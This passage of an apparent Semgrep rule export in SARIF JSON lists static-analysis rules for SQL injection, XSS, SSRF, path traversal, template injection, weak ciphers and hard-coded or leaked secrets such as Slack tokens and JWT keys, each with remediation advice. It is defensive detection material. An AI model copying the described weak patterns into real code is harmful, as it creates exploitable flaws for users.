[https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context](https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context)\n","text":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"helpUri":"https://semgrep.dev/r/python.django.security.locals-as-template-context.locals-as-template-context","id":"python.django.security.locals-as-template-context.locals-as-template-context","name":"python.django.security.locals-as-template-context.locals-as-template-context","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.locals-as-template-context.locals-as-template-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","id":"python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","name":"python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`."},"help":{"markdown":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include)\n - [https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion)\n - [https://github.com/presidentbeef/brakeman/blob/f74cb53/test/apps/rails2/app/controllers/home_controller.rb#L48-L60](https://github.com/presidentbeef/brakeman/blob/f74cb53/test/apps/rails2/app/controllers/home_controller.rb#L48-L60)\n","text":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","id":"ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","name":"ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information."},"help":{"markdown":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","id":"python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","name":"python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","properties":{"precision":"very-high","tags":["CWE-532: Insertion of Sensitive Information into Log File","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Slack Token detected"},"help":{"markdown":"Slack Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-slack-token.detected-slack-token)\n - [https://github.com/davidburkitt/python-secret-scanner/blob/335a1f6dab8de59cf39063e57aea39a58951e939/patterns.txt#L58](https://github.com/davidburkitt/python-secret-scanner/blob/335a1f6dab8de59cf39063e57aea39a58951e939/patterns.txt#L58)\n","text":"Slack Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-slack-token.detected-slack-token","id":"generic.secrets.security.detected-slack-token.detected-slack-token","name":"generic.secrets.security.detected-slack-token.detected-slack-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-slack-token.detected-slack-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode)\n - [https://jwt-scala.github.io/jwt-scala/](https://jwt-scala.github.io/jwt-scala/)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","id":"scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","name":"scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-stdlib.db.sequelize-http.sequelize-http)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.node-stdlib.db.sequelize-http.sequelize-http","id":"javascript.node-stdlib.db.sequelize-http.sequelize-http","name":"javascript.node-stdlib.db.sequelize-http.sequelize-http","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-stdlib.db.sequelize-http.sequelize-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers)\n","text":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","id":"python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","name":"python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","id":"javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","name":"javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url)\n - [https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","id":"typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","name":"typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf)\n - [https://laravel.com/docs/9.x/http-client](https://laravel.com/docs/9.x/http-client)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","id":"php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","name":"php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","id":"java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","name":"java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","id":"python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","name":"python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","id":"javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","name":"javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http and ftp (unencrypted) sites using OpenURI."},"help":{"markdown":"Checks for requests to http and ftp (unencrypted) sites using OpenURI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request)\n - [https://ruby-doc.org/stdlib-2.6.3/libdoc/open-uri/rdoc/OpenURI.html](https://ruby-doc.org/stdlib-2.6.3/libdoc/open-uri/rdoc/OpenURI.html)\n","text":"Checks for requests to http and ftp (unencrypted) sites using OpenURI."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access"},"help":{"markdown":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","id":"terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","name":"terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true."},"help":{"markdown":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version)\n - [https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_pages.htm](https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_pages.htm)\n","text":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","id":"generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","name":"generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.seam-log-injection.seam-log-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.jboss.security.seam-log-injection.seam-log-injection","id":"java.jboss.security.seam-log-injection.seam-log-injection","name":"java.jboss.security.seam-log-injection.seam-log-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.seam-log-injection.seam-log-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Ensure that the expiration date is set on all keys"},"help":{"markdown":"Ensure that the expiration date is set on all keys\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_key#expiration_date](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_key#expiration_date)\n - 